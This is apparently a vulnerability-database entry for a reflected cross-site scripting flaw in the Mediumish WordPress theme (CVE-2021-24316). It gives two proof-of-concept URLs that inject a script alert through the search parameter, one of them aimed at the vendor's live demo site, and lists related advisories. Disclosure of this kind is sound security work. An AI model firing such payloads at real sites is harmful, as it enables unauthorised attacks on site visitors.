Lucene search
M0zeWPEX-ID:57E27DE4-58F5-46AA-9B59-809705733B2EHistoryMay 16, 2021 - 12:00 a.m.
Mediumish <= 1.0.47 - Unauthenticated Reflected Cross-Site Scripting (XSS)
2021-05-1600:00:00
m0ze
67
0.003 Low
EPSS
Percentile
70.6%
The search feature of the theme does not properly sanitise it’s ‘s’ GET parameter before output it back the page, leading to the Cross-SIte Scripting issue. The vendor has been unresponsive to any form of contact
https://example.com/?post_type=post&s=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E
https://www.themepush.com/demo-mediumish/?post_type=post&s=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3ERelated
prion
prion
Cross site scripting
2021-06-01 14:15:00
wpvulndb
wpvulndb
Mediumish <= 1.0.47 - Unauthenticated Reflected Cross-Site Scripting (XSS)
2021-05-16 00:00:00
cve
cve
CVE-2021-24316
2021-06-01 14:15:08
nuclei
nuclei
WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting
2021-06-04 09:28:45
cvelist
cvelist
nvd
nvd
CVE-2021-24316
2021-06-01 14:15:08
patchstack
patchstack